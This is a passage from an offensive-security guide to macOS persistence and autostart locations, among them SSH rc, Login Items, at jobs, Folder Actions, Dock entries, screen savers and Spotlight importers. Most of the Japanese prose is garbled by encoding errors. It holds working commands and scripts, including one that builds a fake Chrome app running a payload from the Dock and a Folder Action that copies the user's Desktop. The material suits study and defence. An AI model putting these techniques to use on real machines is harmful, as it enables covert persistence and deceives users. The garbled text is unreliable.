- ãã ã Alfred ãã€ã³ã¹ããŒã«ãããŠããå¿ èŠããã
- TCC bypass: â
- AutomationãAccessibilityãããã«ã¯ Full-Disk access ã®æš©éãèŠæ±ãã
Location
???
ç¹å®ã®æ¡ä»¶ãæºãããããšãã«ã³ãŒããå®è¡ããã¯ãŒã¯ãããŒãäœæã§ãããæ»æè ãã¯ãŒã¯ãããŒãã¡ã€ã«ãäœæã㊠Alfred ã«èªã¿èŸŒãŸããããšãå¯èœãããããªãïŒã¯ãŒã¯ãããŒã䜿ãã«ã¯ãã¬ãã¢ã çã®è³Œå ¥ãå¿ èŠïŒã
SSHRC
Writeup: https://theevilbit.github.io/beyond/beyond_0006/
- ãµã³ãããã¯ã¹ãåé¿ããã®ã«æçš: â
- ãã ã ssh ãæå¹ã«ããŠäœ¿çšããå¿ èŠããã
- TCC bypass: â
- SSH ã¯ãã€ãŠ FDA access ãæã£ãŠãã
Location
~/.ssh/rc- Trigger: ssh çµç±ã§ã®ãã°ã€ã³
/etc/ssh/sshrc- Root æš©éãå¿ èŠ
- Trigger: ssh çµç±ã§ã®ãã°ã€ã³
Caution
ssh ãæå¹ã«ããã«ã¯ Full Disk Access ãå¿ èŠïŒ
sudo systemsetup -setremotelogin on
説æãšæªçš
ããã©ã«ãã§ã¯ã/etc/ssh/sshd_config ã« PermitUserRC no ãèšå®ãããŠããªãéãããŠãŒã¶ã SSH çµç±ã§ãã°ã€ã³ ãããšã¹ã¯ãªãã /etc/ssh/sshrc ãš ~/.ssh/rc ãå®è¡ãããã
Login Items
Writeup: https://theevilbit.github.io/beyond/beyond_0003/
- ãµã³ãããã¯ã¹ãåé¿ããã®ã«æçš: â
- ãã ãåŒæ°ä»ãã§
osascriptãå®è¡ããå¿ èŠããã - TCC bypass: ðŽ
Locations
~/Library/Application Support/com.apple.backgroundtaskmanagementagent- Trigger: ãã°ã€ã³
- æªçšçšã®ãã€ããŒãã¯
osascriptãåŒã³åºã圢ã§ä¿åããã /var/db/com.apple.xpc.launchd/loginitems.501.plist- Trigger: ãã°ã€ã³
- Root æš©éãå¿ èŠ
Description
System Preferences -> Users & Groups -> Login Items ã«ã¯ããŠãŒã¶ããã°ã€ã³ãããšãã«å®è¡ãããé
ç® ãããã
ã³ãã³ãã©ã€ã³ããããããäžèŠ§è¡šç€ºã远å ãåé€ããããšãå¯èœã ïŒ
#List all items:
osascript -e 'tell application "System Events" to get the name of every login item'
#Add an item:
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/itemname", hidden:false}'
#Remove an item:
osascript -e 'tell application "System Events" to delete login item "itemname"'
These items are stored in the file ~/Library/Application Support/com.apple.backgroundtaskmanagementagent
ãã°ã€ã³é
ç®ã¯ API SMLoginItemSetEnabled ã䜿ã£ãŠç€ºãããããšãããããã®èšå®ã¯ /var/db/com.apple.xpc.launchd/loginitems.501.plist ã«ä¿åãããŸãã
ZIP ããã°ã€ã³é ç®ãšããŠ
(åç¯ã®ãã°ã€ã³é ç®ãåç §ãããã¯æ¡åŒµã§ã)
ZIP ãã¡ã€ã«ã ãã°ã€ã³é
ç® ãšããŠä¿åãããšãArchive Utility ããããå±éããŸããäŸãã° ZIP ã ~/Library ã«ä¿åããããã©ã«ã LaunchAgents/file.plist ãå«ãŸããŠããããã®äžã« backdoor ãããå Žåããã®ãã©ã«ãã¯äœæããïŒããã©ã«ãã§ã¯äœæãããŸããïŒãplist ã远å ããããããæ¬¡åãŠãŒã¶ããã°ã€ã³ãããšãã« plist ã«ç€ºããã backdoor ãå®è¡ãããŸãã
å¥ã®æ¹æ³ãšããŠããŠãŒã¶ã® HOME å
ã« .bash_profile ãš .zshenv ãäœæããŠããããšã§ããã LaunchAgents ãã©ã«ããæ¢ã«ååšããŠããŠããã®ææ³ã¯æ©èœããŸãã
At
Writeup: https://theevilbit.github.io/beyond/beyond_0014/
- sandbox ãåé¿ããã®ã«æçš: â
- ãã ã
atãå®è¡ã§ãããã€æå¹ã«ãªã£ãŠããå¿ èŠããããŸã - TCC bypass: ðŽ
å Žæ
atãå®è¡ã§ãããã€æå¹ã«ãªã£ãŠããå¿ èŠããããŸã
説æ
at ã¿ã¹ã¯ã¯ç¹å®ã®æéã«å®è¡ãããåçºã®ã¿ã¹ã¯ãã¹ã±ãžã¥ãŒã«ããããã«èšèšãããŠããŸããcron ãžã§ããšã¯ç°ãªããat ã¿ã¹ã¯ã¯å®è¡åŸã«èªåçã«åé€ãããŸãããããã®ã¿ã¹ã¯ã¯ã·ã¹ãã ã®åèµ·ååŸãæç¶ããç¹ã«æ³šæãå¿
èŠã§ãç¹å®ã®æ¡ä»¶äžã§ã¯ã»ãã¥ãªãã£äžã®æžå¿µãšãªãåŸãŸãã
ããã©ã«ãã§ã¯ç¡å¹ã«ãªã£ãŠããŸãããroot ãŠãŒã¶ã¯æ¬¡ã®ã³ãã³ãã§æå¹ã«ã§ããŸãïŒ
sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist
ããã«ãã1æéåŸã«ãã¡ã€ã«ãäœæãããŸã:
echo "echo 11 > /tmp/at.txt" | at now+1
ãžã§ããã¥ãŒã atq: ã§ç¢ºèªããŸãã
sh-3.2# atq
26 Tue Apr 27 00:46:00 2021
22 Wed Apr 28 00:29:00 2021
äžã«ã¯2ã€ã®ãžã§ããã¹ã±ãžã¥ãŒã«ãããŠããã®ãèŠããŸããat -c JOBNUMBER ã䜿ã£ãŠãžã§ãã®è©³çްã衚瀺ã§ããŸãã
sh-3.2# at -c 26
#!/bin/sh
# atrun uid=0 gid=0
# mail csaby 0
umask 22
SHELL=/bin/sh; export SHELL
TERM=xterm-256color; export TERM
USER=root; export USER
SUDO_USER=csaby; export SUDO_USER
SUDO_UID=501; export SUDO_UID
SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.co51iLHIjf/Listeners; export SSH_AUTH_SOCK
__CF_USER_TEXT_ENCODING=0x0:0:0; export __CF_USER_TEXT_ENCODING
MAIL=/var/mail/root; export MAIL
PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin; export PATH
PWD=/Users/csaby; export PWD
SHLVL=1; export SHLVL
SUDO_COMMAND=/usr/bin/su; export SUDO_COMMAND
HOME=/var/root; export HOME
LOGNAME=root; export LOGNAME
LC_CTYPE=UTF-8; export LC_CTYPE
SUDO_GID=20; export SUDO_GID
_=/usr/bin/at; export _
cd /Users/csaby || {
echo 'Execution directory inaccessible' >&2
exit 1
}
unset OLDPWD
echo 11 > /tmp/at.txt
Warning
AT tasks ãæå¹ã«ãªã£ãŠããªãå Žåãäœæããã tasks ã¯å®è¡ãããŸããã
ãããã® job files 㯠/private/var/at/jobs/ ã«ãããŸãã
sh-3.2# ls -l /private/var/at/jobs/
total 32
-rw-r--r-- 1 root wheel 6 Apr 27 00:46 .SEQ
-rw------- 1 root wheel 0 Apr 26 23:17 .lockfile
-r-------- 1 root wheel 803 Apr 27 00:46 a00019019bdcd2
-rwx------ 1 root wheel 803 Apr 27 00:46 a0001a019bdcd2
ãã¡ã€ã«åã«ã¯ãã¥ãŒããžã§ãçªå·ããããŠå®è¡äºå®æå»ãå«ãŸããŸããäŸãã° a0001a019bdcd2 ãèŠãŠã¿ãŸãããã
a- ããã¯ãã¥ãŒã§ã0001a- ãžã§ãçªå·ïŒ16鲿°ïŒã0x1a = 26019bdcd2- æå»ïŒ16鲿°ïŒããã㯠epoch ããçµéããåæ°ã衚ããŸãã0x019bdcd2ã¯10鲿°ã§26991826ã§ããããã«60ãæãããš1619509560ã«ãªããGMT: 2021. April 27., Tuesday 7:46:00ãšãªããŸãã
ãžã§ããã¡ã€ã«ãåºåãããšãat -c ã§åŸãã®ãšåãæ
å ±ãå«ãŸããŠããããšãããããŸãã
ãã©ã«ãã¢ã¯ã·ã§ã³ (Folder Actions)
Writeup: https://theevilbit.github.io/beyond/beyond_0024/
Writeup: https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d
- ãµã³ãããã¯ã¹ã®åé¿ã«æçš: â
- ãã ããFolder Actions ãèšå®ããã«ã¯åŒæ°ä»ãã§
osascriptãåŒã³åºããSystem Eventsã«é£çµ¡ã§ããå¿ èŠããã - TCC åé¿: ð
- Desktop, Documents and Downloads ã®ãããªåºæ¬ç㪠TCC æš©éãæã£ãŠãã
å Žæ
/Library/Scripts/Folder Action Scripts- Root æš©éãå¿ èŠ
- Trigger: æå®ãã©ã«ããžã®ã¢ã¯ã»ã¹
~/Library/Scripts/Folder Action Scripts- Trigger: æå®ãã©ã«ããžã®ã¢ã¯ã»ã¹
説æãšæªçš
Folder Actions ã¯ããã©ã«ãå ã®é ç®ã®è¿œå ã»åé€ããã©ã«ããŠã£ã³ããŠã®ééããµã€ãºå€æŽãªã©ã®å€åã«ãã£ãŠèªåçã«ããªã¬ãŒãããã¹ã¯ãªããã§ãããããã®ã¢ã¯ã·ã§ã³ã¯æ§ã ãªã¿ã¹ã¯ã«å©çšã§ããFinder UI ãã¿ãŒããã«ã³ãã³ããªã©ãç°ãªãæ¹æ³ã§ããªã¬ãŒã§ããŸãã
Folder Actions ãèšå®ããæ¹æ³ãšããŠã¯ãäŸãã°æ¬¡ã®ãããªãªãã·ã§ã³ããããŸã:
- Automator ã䜿ã£ãŠ Folder Action ã¯ãŒã¯ãããŒãäœæãããµãŒãã¹ãšããŠã€ã³ã¹ããŒã«ããã
- ãã©ã«ãã®ã³ã³ããã¹ãã¡ãã¥ãŒã«ãã Folder Actions Setup ããã¹ã¯ãªãããæåã§æ·»ä»ããã
- OSAScript ãå©çšã㊠Apple Event ã¡ãã»ãŒãžã
System Events.appã«éä¿¡ããããã°ã©ã ã§ Folder Action ãèšå®ããã
- ãã®æ¹æ³ã¯ã¢ã¯ã·ã§ã³ãã·ã¹ãã ã«åã蟌ã¿ãããçšåºŠã®æ°žç¶æ§ãæãããã®ã«ç¹ã«æçšã§ãã
以äžã®ã¹ã¯ãªããã¯ãFolder Action ã«ãã£ãŠå®è¡ããåŸãäŸã§ã:
// source.js
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
äžèšã®ã¹ã¯ãªããã Folder Actions ã§äœ¿çšã§ããããã«ããã«ã¯ã次ã®ã³ãã³ãã§ã³ã³ãã€ã«ããŠãã ãã:
osacompile -l JavaScript -o folder.scpt source.js
ã¹ã¯ãªãããã³ã³ãã€ã«ãããã以äžã®ã¹ã¯ãªãããå®è¡ã㊠Folder Actions ãèšå®ããŸãããã®ã¹ã¯ãªãã㯠Folder Actions ãã°ããŒãã«ã«æå¹åããå ã«ã³ã³ãã€ã«ããã¹ã¯ãªããã Desktop ãã©ã«ãã«çŽä»ããŸãã
// Enabling and attaching Folder Action
var se = Application("System Events")
se.folderActionsEnabled = true
var myScript = se.Script({ name: "source.js", posixPath: "/tmp/source.js" })
var fa = se.FolderAction({ name: "Desktop", path: "/Users/username/Desktop" })
se.folderActions.push(fa)
fa.scripts.push(myScript)
次ã®ã³ãã³ãã§ã»ããã¢ããã¹ã¯ãªãããå®è¡ããŸã:
osascript -l JavaScript /Users/username/attach.scpt
- ãã㯠GUI ãä»ããŠãã® persistence ãå®è£ ããæ¹æ³ã§ã:
ãããå®è¡ãããã¹ã¯ãªããã§ã:
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
次ã®ã³ãã³ãã§ã³ã³ãã€ã«ããŸã: osacompile -l JavaScript -o folder.scpt source.js
次ã®å Žæãžç§»åããŸã:
mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
次ã«ãFolder Actions Setup app ãéããç£èŠããããã©ã«ããéžæããä»åã®å Žå㯠folder.scptïŒç§ã®å Žå㯠output2.scp ãšåä»ããŸããïŒãéžæããŸã:
.png)
ãã®ãã©ã«ãã Finder ã§éããšãã¹ã¯ãªãããå®è¡ãããŸãã
ãã®èšå®ã¯ base64 圢åŒã§ plist ã«ä¿åãããå Žæã¯ ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist ã§ãã
ã§ã¯ãGUI ã¢ã¯ã»ã¹ãªãã§ãã®æ°žç¶åãæºåããŠã¿ãŸã:
~/Library/Preferences/com.apple.FolderActionsDispatcher.plistãã³ããŒããŠããã¯ã¢ããã/tmpã«ä¿åããŸã:
cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp
- èšå®ãã Folder Actions ãåé€ããŸã:
.png)
ããã§ç°å¢ã空ã«ãªããŸãã
- ããã¯ã¢ãããã¡ã€ã«ãã³ããŒ:
cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/ - ãã®èšå®ãèªã¿èŸŒãããã« Folder Actions Setup.app ãéããŸã:
open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"
Caution
ãã ãç§ã®ç°å¢ã§ã¯åäœããŸããã§ãããããã㯠writeup ã®æé ã§ã:(
Dock ã·ã§ãŒãã«ãã
Writeup: https://theevilbit.github.io/beyond/beyond_0027/
- sandbox ãåé¿ããã®ã«æçš: â
- ãã ããã·ã¹ãã å ã«æªæã®ããã¢ããªã±ãŒã·ã§ã³ãã€ã³ã¹ããŒã«ããŠããå¿ èŠããããŸã
- TCC ãã€ãã¹: ðŽ
å Žæ
~/Library/Preferences/com.apple.dock.plist- Trigger: ãŠãŒã¶ãŒã Dock å ã®ã¢ããªãã¯ãªãã¯ãããšã
説æãšæªçš
Dock ã«è¡šç€ºããããã¹ãŠã®ã¢ããªã±ãŒã·ã§ã³ã¯ plist å
ã«æå®ãããŠããŸã: ~/Library/Preferences/com.apple.dock.plist
次ã®ããã«ããŠã¢ããªã±ãŒã·ã§ã³ã远å ã§ããŸã:
# Add /System/Applications/Books.app
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/System/Applications/Books.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
# Restart Dock
killall Dock
ããã€ãã®social engineeringã䜿ããšãDockå ã§äŸãã°Google Chromeãåœè£ ããŠãå®éã«èªåã®ã¹ã¯ãªãããå®è¡ã§ããŸã:
#!/bin/sh
# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)
rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null
# Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources
# Payload to execute
echo '#!/bin/sh
open /Applications/Google\ Chrome.app/ &
touch /tmp/ImGoogleChrome' > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
# Info.plist
cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Google Chrome</string>
<key>CFBundleIdentifier</key>
<string>com.google.Chrome</string>
<key>CFBundleName</key>
<string>Google Chrome</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF
# Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns
# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Google Chrome.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
killall Dock
ã«ã©ãŒããã«ãŒ
Writeup: https://theevilbit.github.io/beyond/beyond_0017
- sandboxã®ãã€ãã¹ã«æçš: ð
- éåžžã«ç¹å®ã®ã¢ã¯ã·ã§ã³ãå¿ èŠ
- å¥ã®sandboxã«å ¥ãããšã«ãªã
- TCC bypass: ðŽ
å Žæ
/Library/ColorPickers- Rootæš©éãå¿ èŠ
- ããªã¬ãŒ: ã«ã©ãŒããã«ãŒã䜿çš
~/Library/ColorPickers- ããªã¬ãŒ: ã«ã©ãŒããã«ãŒã䜿çš
説æãšãšã¯ã¹ããã€ã
ã«ã©ãŒããã«ãŒã®bundleãã³ã³ãã€ã«ããŠããªãã®ã³ãŒããçµã¿èŸŒã¿ïŒthis one for exampleãäŸã«äœ¿ããïŒãã³ã³ã¹ãã©ã¯ã¿ã远å ïŒScreen Saver sectionã®ããã«ïŒãããã³ãã«ã~/Library/ColorPickersã«ã³ããŒããŸãã
ãã®åŸãã«ã©ãŒããã«ãŒãããªã¬ãŒããããšãããªãã®ã³ãŒããå®è¡ãããã¯ãã§ãã
ã©ã€ãã©ãªãããŒããããã€ããªã¯éåžžã«å¶éã®å³ãã sandboxãæã£ãŠããããšã«æ³šæããŠãã ãã: /System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64
[Key] com.apple.security.temporary-exception.sbpl
[Value]
[Array]
[String] (deny file-write* (home-subpath "/Library/Colors"))
[String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers"))
[String] (allow file-read* (extension "com.apple.app-sandbox.read"))
Finder Sync Plugins
Writeup: https://theevilbit.github.io/beyond/beyond_0026/
Writeup: https://objective-see.org/blog/blog_0x11.html
- Useful to bypass sandbox: ããããç¬èªã®ã¢ããªãå®è¡ããå¿ èŠããããã
- TCC bypass: ???
é çœ®å Žæ
- ç¹å®ã®ã¢ããª
説æ & Exploit
Finder Sync Extension ãå«ãã¢ããªã®äŸã¯ ãã¡ã ã«ãããŸãã
ã¢ããªã±ãŒã·ã§ã³ã¯ Finder Sync Extensions ãæã€ããšãã§ããŸãããã® extension ã¯å®è¡ãããã¢ããªã±ãŒã·ã§ã³å
ã«çµã¿èŸŒãŸããŸããããã«ããã® extension ãã³ãŒããå®è¡ããã«ã¯ãæå¹ãª Apple Developer èšŒææžã§çœ²åãããŠããå¿
èŠããããsandboxedïŒãã ãç·©åãããäŸå€ã远å ã§ããå ŽåããããŸãïŒã§ããå¿
èŠããããæ¬¡ã®ãããªãã®ã§ç»é²ãããŠããå¿
èŠããããŸã:
pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
pluginkit -e use -i com.example.InSync.InSync
ã¹ã¯ãªãŒã³ã»ãŒããŒ
Writeup: https://theevilbit.github.io/beyond/beyond_0016/
Writeup: https://posts.specterops.io/saving-your-access-d562bf5bf90b
- sandbox ããã€ãã¹ããã®ã«æçš: ð
- ãã ããäžè¬çãªã¢ããªã±ãŒã·ã§ã³ã® sandbox å ã§å®è¡ãããŸã
- TCC bypass: ðŽ
ãã±ãŒã·ã§ã³
/System/Library/Screen Savers- root æš©éãå¿ èŠ
- ããªã¬ãŒ: ã¹ã¯ãªãŒã³ã»ãŒããŒãéžæ
/Library/Screen Savers- root æš©éãå¿ èŠ
- ããªã¬ãŒ: ã¹ã¯ãªãŒã³ã»ãŒããŒãéžæ
~/Library/Screen Savers- ããªã¬ãŒ: ã¹ã¯ãªãŒã³ã»ãŒããŒãéžæ
.png)
説æãšãšã¯ã¹ããã€ã
Xcode ã§æ°ãããããžã§ã¯ããäœæãããã³ãã¬ãŒãããæ°ãã ã¹ã¯ãªãŒã³ã»ãŒã㌠ãçæããŸããæ¬¡ã«ãããã«ã³ãŒãã远å ããŸããäŸãã°ä»¥äžã®ã³ãŒãã¯ãã°ãçæããŸãã
ãã«ãããŠã.saver ãã³ãã«ã ~/Library/Screen Savers ã«ã³ããŒããŸããæ¬¡ã«ã¹ã¯ãªãŒã³ã»ãŒããŒã® GUI ãéãããããã¯ãªãã¯ãããšå€§éã®ãã°ãçæãããã¯ãã§ãïŒ
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "hello_screensaver"'
Timestamp (process)[PID]
2023-09-27 22:55:39.622369+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver void custom(int, const char **)
2023-09-27 22:55:39.622623+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView initWithFrame:isPreview:]
2023-09-27 22:55:39.622704+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView hasConfigureSheet]
Caution
ãã®ã³ãŒããããŒããããã€ããªã® entitlementsïŒ
/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaverïŒå ã«com.apple.security.app-sandboxãå«ãŸããŠãããããããªã㯠inside the common application sandbox ã«å ¥ããŸãã
Saver ã³ãŒã:
//
// ScreenSaverExampleView.m
// ScreenSaverExample
//
// Created by Carlos Polop on 27/9/23.
//
#import "ScreenSaverExampleView.h"
@implementation ScreenSaverExampleView
- (instancetype)initWithFrame:(NSRect)frame isPreview:(BOOL)isPreview
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
self = [super initWithFrame:frame isPreview:isPreview];
if (self) {
[self setAnimationTimeInterval:1/30.0];
}
return self;
}
- (void)startAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super startAnimation];
}
- (void)stopAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super stopAnimation];
}
- (void)drawRect:(NSRect)rect
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super drawRect:rect];
}
- (void)animateOneFrame
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return;
}
- (BOOL)hasConfigureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return NO;
}
- (NSWindow*)configureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return nil;
}
__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
}
@end
Spotlight ãã©ã°ã€ã³
writeup: https://theevilbit.github.io/beyond/beyond_0011/
- ãµã³ãããã¯ã¹åé¿ã«æçš: ð
- ãã ãæçµçã« application ãµã³ãããã¯ã¹ã«å ¥ã
- TCC ãã€ãã¹: ðŽ
- ãµã³ãããã¯ã¹ã¯éåžžã«å¶éãããŠããããã«èŠãã
Location
~/Library/Spotlight/- Trigger: spotlight ãã©ã°ã€ã³ã§ç®¡çãããŠããæ¡åŒµåãæã€æ°ãããã¡ã€ã«ãäœæããããšçºå
/Library/Spotlight/- Trigger: spotlight ãã©ã°ã€ã³ã§ç®¡çãããŠããæ¡åŒµåãæã€æ°ãããã¡ã€ã«ãäœæããããšçºå
- Root required
/System/Library/Spotlight/- Trigger: spotlight ãã©ã°ã€ã³ã§ç®¡çãããŠããæ¡åŒµåãæã€æ°ãããã¡ã€ã«ãäœæããããšçºå
- Root required
Some.app/Contents/Library/Spotlight/- Trigger: spotlight ãã©ã°ã€ã³ã§ç®¡çãããŠããæ¡åŒµåãæã€æ°ãããã¡ã€ã«ãäœæããããšçºå
- New app required
Description & Exploitation
Spotlight 㯠macOS ã«çµã¿èŸŒãŸããæ€çŽ¢æ©èœã§ããŠãŒã¶ãŒãã³ã³ãã¥ãŒã¿äžã®ããŒã¿ã«å¯ŸããŠè¿
éãã€å
æ¬çã«ã¢ã¯ã»ã¹ã§ããããèšèšãããŠããŸã.
ãã®è¿
éãªæ€çŽ¢æ©èœãå®çŸããããã«ãSpotlight ã¯å°æããŒã¿ããŒã¹ãç¶æããã»ãšãã©ã®ãã¡ã€ã«ãããŒã¹ããŠã€ã³ããã¯ã¹ãäœæããããšã§ããã¡ã€ã«åãšãã®å
容ã®äž¡æ¹ãçŽ æ©ãæ€çŽ¢ã§ããããã«ããŠããŸãã
Spotlight ã®åºç€ãšãªãä»çµã¿ã¯ âmdsâ ãšããäžå€®ããã»ã¹ã§ãããã¯ã¡ã¿ããŒã¿ãµãŒããŒãæå³ããŸãããã®ããã»ã¹ã Spotlight ãµãŒãã¹å
šäœã管çããŸããããã«è£å©ããã圢ã§è€æ°ã® âmdworkerâ ããŒã¢ã³ãååšããããŸããŸãªã¡ã³ããã³ã¹ã¿ã¹ã¯ïŒç°ãªããã¡ã€ã«ã¿ã€ãã®ã€ã³ããã¯ã¹äœæãªã©ïŒãå®è¡ããŸãïŒps -ef | grep mdworkerïŒããããã®ã¿ã¹ã¯ã¯ Spotlight importer pluginsãã€ãŸã â.mdimporter bundlesâ ã«ãã£ãŠå¯èœã«ãªããSpotlight ã倿§ãªãã¡ã€ã«åœ¢åŒã®å
容ãçè§£ããŠã€ã³ããã¯ã¹åã§ããããã«ããŸãã
ãããã®ãã©ã°ã€ã³ïŒ.mdimporter ãã³ãã«ïŒã¯åè¿°ã®å Žæã«é
眮ãããæ°ãããã³ãã«ãçŸãããšæ°å以å
ã«ããŒããããŸãïŒãµãŒãã¹ã®åèµ·åã¯äžèŠïŒããããã®ãã³ãã«ã¯ã©ã®ãã¡ã€ã«ã¿ã€ãããã³æ¡åŒµåãæ±ãããã瀺ãå¿
èŠãããããã®çµæãSpotlight ã¯ç€ºãããæ¡åŒµåãæã€æ°ãããã¡ã€ã«ãäœæããããšãã«ãããã䜿çšããŸãã
èªã¿èŸŒãŸããŠãããã¹ãŠã® mdimporters ãèŠã€ããããšãå¯èœã§ã:
mdimport -L
Paths: id(501) (
"/System/Library/Spotlight/iWork.mdimporter",
"/System/Library/Spotlight/iPhoto.mdimporter",
"/System/Library/Spotlight/PDF.mdimporter",
[...]
äŸãã°ã/Library/Spotlight/iBooksAuthor.mdimporter ã¯ãããã®çš®é¡ã®ãã¡ã€ã«ïŒæ¡åŒµå .iba ã .book ãªã©ïŒãè§£æããããã«äœ¿çšãããŸãïŒ
plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
[...]
"CFBundleDocumentTypes" => [
0 => {
"CFBundleTypeName" => "iBooks Author Book"
"CFBundleTypeRole" => "MDImporter"
"LSItemContentTypes" => [
0 => "com.apple.ibooksauthor.book"
1 => "com.apple.ibooksauthor.pkgbook"
2 => "com.apple.ibooksauthor.template"
3 => "com.apple.ibooksauthor.pkgtemplate"
]
"LSTypeIsPackage" => 0
}
]
[...]
=> {
"UTTypeConformsTo" => [
0 => "public.data"
1 => "public.composite-content"
]
"UTTypeDescription" => "iBooks Author Book"
"UTTypeIdentifier" => "com.apple.ibooksauthor.book"
"UTTypeReferenceURL" => "http://www.apple.com/ibooksauthor"
"UTTypeTagSpecification" => {
"public.filename-extension" => [
0 => "iba"
1 => "book"
]
}
}
[...]
Caution
ããä»ã®
mdimporterã® Plist ã確èªããŠããUTTypeConformsToãšã³ããªãèŠã€ãããªãããšããããŸããããã¯çµã¿èŸŒã¿ã® Uniform Type Identifiers (UTI) ã§ãããæ¡åŒµåãæå®ããå¿ èŠããªãããã§ããããã«ãSystem default plugins ãåžžã«åªå ããããããæ»æè ãã¢ã¯ã»ã¹ã§ããã®ã¯ Appleâs own
mdimportersã«ãã£ãŠã€ã³ããã¯ã¹ãããŠããªããã¡ã€ã«ã ãã§ãã
To create your own importer you could start with this project: https://github.com/megrimm/pd-spotlight-importer and then change the name, the CFBundleDocumentTypes and add UTImportedTypeDeclarations so it supports the extension you would like to support and refelc them in schema.xml.
Then change the code of the function GetMetadataForFile to execute your payload when a file with the processed extension is created.
Finally build and copy your new .mdimporter to one of thre previous locations and you can chech whenever itâs loaded monitoring the logs or checking mdimport -L.
Preference Pane
Caution
It doesnât look like this is working anymore.
Writeup: https://theevilbit.github.io/beyond/beyond_0009/
Location
/System/Library/PreferencePanes/Library/PreferencePanes~/Library/PreferencePanes
Description
It doesnât look like this is working anymore.
Root Sandbox Bypass
Tip
Here you can find start locations useful for sandbox bypass that allows you to simply execute something by writing it into a file being root and/or requiring other weird conditions.
Periodic
Writeup: https://theevilbit.github.io/beyond/beyond_0019/
Location
/etc/periodic/daily,/etc/periodic/weekly,/etc/periodic/monthly,/usr/local/etc/periodic- Root æš©éãå¿ èŠ
- Trigger: æå®ãããæå»ã«ãªããšå®è¡ããã
/etc/daily.local,/etc/weekly.localor/etc/monthly.local- Root æš©éãå¿ èŠ
- Trigger: æå®ãããæå»ã«ãªããšå®è¡ããã
Description & Exploitation
The periodic scripts (/etc/periodic) are executed because of the launch daemons configured in /System/Library/LaunchDaemons/com.apple.periodic*. Note that scripts stored in /etc/periodic/ are executed as the owner of the file, so this wonât work for a potential privilege escalation.
# Launch daemons that will execute the periodic scripts
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
-rw-r--r-- 1 root wheel 887 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-daily.plist
-rw-r--r-- 1 root wheel 895 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-monthly.plist
-rw-r--r-- 1 root wheel 891 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-weekly.plist
# The scripts located in their locations
ls -lR /etc/periodic
total 0
drwxr-xr-x 11 root wheel 352 May 13 00:29 daily
drwxr-xr-x 5 root wheel 160 May 13 00:29 monthly
